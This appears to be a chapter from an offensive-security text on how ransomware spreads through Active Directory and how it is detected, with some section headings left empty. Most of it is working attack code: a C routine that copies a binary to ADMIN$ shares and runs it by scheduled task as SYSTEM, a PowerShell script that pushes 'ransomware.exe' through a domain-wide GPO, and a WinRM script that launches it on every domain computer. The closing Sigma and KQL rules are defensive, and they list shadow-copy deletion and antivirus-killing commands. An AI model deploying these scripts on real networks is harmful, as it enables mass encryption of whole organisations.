Ransomware: Propagation and Defense

Modern enterprise ransomware doesn't encrypt a single machine — it spreads across the entire AD environment in hours or minutes before detonating simultaneously. This chapter covers the propagation techniques used by real ransomware groups (SMB share mapping, PsExec-style deployment, GPO-based mass execution), the pre-detonation checklist that operators run, the defense windows that organizations have at each stage, and the detection engineering that is the only viable protection before encryption begins.

Propagation Methods Comparison

SMB Share-Based Propagation

// Walk IP range, copy binary to ADMIN$ share, create scheduled task to run it.
// All using DA credentials. Fast to implement; noisy (many SMB connections).

#include <windows.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")

BOOL PropagateToHost(LPCWSTR target, LPCWSTR localBinary) {
    // Build UNC path to ADMIN$ share
    WCHAR remotePath[MAX_PATH];
    swprintf_s(remotePath, L"\\\\%s\\ADMIN$\\wupdate.exe", target);

    // Copy binary
    if (!CopyFileW(localBinary, remotePath, FALSE)) {
        wprintf(L"[!] copy failed to %s: %d\n", target, GetLastError());
        return FALSE;
    }

    // Create remote scheduled task via NetScheduleJobAdd (legacy) or
    // schtasks.exe — schtasks via WMI is cleaner for bulk ops
    WCHAR cmd[512];
    swprintf_s(cmd,
        L"schtasks /create /s %s /ru SYSTEM /tn WinUpdate "
        "/tr C:\\Windows\\wupdate.exe /sc once /st 00:01 /f",
        target);
    _wsystem(cmd);

    // Trigger immediately
    swprintf_s(cmd, L"schtasks /run /s %s /tn WinUpdate", target);
    _wsystem(cmd);
    return TRUE;
}

// Enumerate domain computers via NetServerEnum or LDAP (ch144 pattern)
// then call PropagateToHost for each in a thread pool for parallelism

GPO Mass Deployment (Silent Detonation)

# GPO-based deployment: create a Computer Startup script that runs the binary.
# All machines execute on next Group Policy refresh (gpupdate /force for immediate).
# From ch154: write ScheduledTasks.xml ImmediateTaskV2 to SYSVOL.

# PowerShell — create GPO, link to whole domain, write startup script:
Import-Module GroupPolicy
$gpo = New-GPO -Name "WindowsSecurityUpdate"
New-GPLink -Name "WindowsSecurityUpdate" -Target "dc=corp,dc=local" -LinkEnabled Yes

# Copy ransomware binary to SYSVOL:
$sysvolPath = "\\corp.local\SYSVOL\corp.local\scripts"
Copy-Item .\ransomware.exe "$sysvolPath\wupdate.exe"

# Write scripts.ini (startup script pointer):
$gpoId = $gpo.Id.ToString("B").ToUpper()
$gptPath = "\\corp.local\SYSVOL\corp.local\Policies\$gpoId\Machine\Scripts"
New-Item -ItemType Directory -Force -Path $gptPath | Out-Null
@"
[Startup]
0CmdLine=\\corp.local\SYSVOL\corp.local\scripts\wupdate.exe
0Parameters=
"@ | Set-Content "$gptPath\scripts.ini"

# Increment GPT.INI version so all clients pull the update:
$gptIni = "\\corp.local\SYSVOL\corp.local\Policies\$gpoId\GPT.INI"
$content = Get-Content $gptIni
$content = $content -replace "Version=(\d+)", { "Version=$([int]$_.Groups[1].Value + 1)" }
Set-Content $gptIni $content

# Force immediate application:
Invoke-GPUpdate -Computer * -Force -RandomDelayInMinutes 0

PsExec-Style Parallel Execution

# Using Invoke-Command (WinRM) for parallel ransomware trigger across AD:
# Requires DA and WinRM access (port 5985 open, or pre-enabled in GPO)

$computers = (Get-ADComputer -Filter * -SearchBase "DC=corp,DC=local").Name
$cred = Get-Credential

# Parallel execution via Invoke-Command -AsJob -ThrottleLimit
Invoke-Command -ComputerName $computers -Credential $cred `
    -ScriptBlock {
        Start-Process "C:\Windows\wupdate.exe" -WindowStyle Hidden
    } -ThrottleLimit 200 -AsJob | Wait-Job

# PsExec (Sysinternals) style C implementation: see ch147 WMI lateral movement
# or ch139 for PsExec service-install pattern.
# Key: service installed as SYSTEM, binary dropped to ADMIN$, started remotely.

Pre-Detonation Operator Checklist

Attack Timeline and Defender Windows

Detection Engineering

title: Mass Scheduled Task Creation Across Multiple Hosts (Ransomware Staging)
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4698   # Scheduled task created
    TaskName|contains:
      - 'WinUpdate'
      - 'WindowsUpdate'
      - 'Microsoft'
  timeframe: 5m
  condition: selection | count() by TaskName > 10
level: critical

title: Ransomware Pre-Stage — Backup Service Kill Chain
logsource:
  product: windows
  category: process_creation
detection:
  vss:
    CommandLine|contains:
      - 'vssadmin delete'
      - 'shadowcopy delete'
  backup:
    CommandLine|contains:
      - 'wbadmin delete'
      - 'net stop "Veeam'
      - 'taskkill.*MsMpEng'
  condition: vss or backup
level: critical
tags: [attack.impact, T1490]

-- MDE KQL: detect coordinated ransomware staging across devices
let staging_window = 30min;
let vss_delete = DeviceProcessEvents
    | where Timestamp > ago(1h)
    | where ProcessCommandLine has_any ("vssadmin", "shadowcopy")
    | summarize vss_hosts = dcount(DeviceName);
let task_create = DeviceEvents
    | where ActionType == "ScheduledTaskCreated"
    | where Timestamp > ago(1h)
    | summarize task_hosts = dcount(DeviceName), unique_tasks = dcount(ScheduledTaskName);
vss_delete
| join kind=inner task_create on 1==1
| where vss_hosts > 5 and task_hosts > 5
| project vss_hosts, task_hosts, unique_tasks,
          alert = "Ransomware staging pattern — immediate response required"

Q&A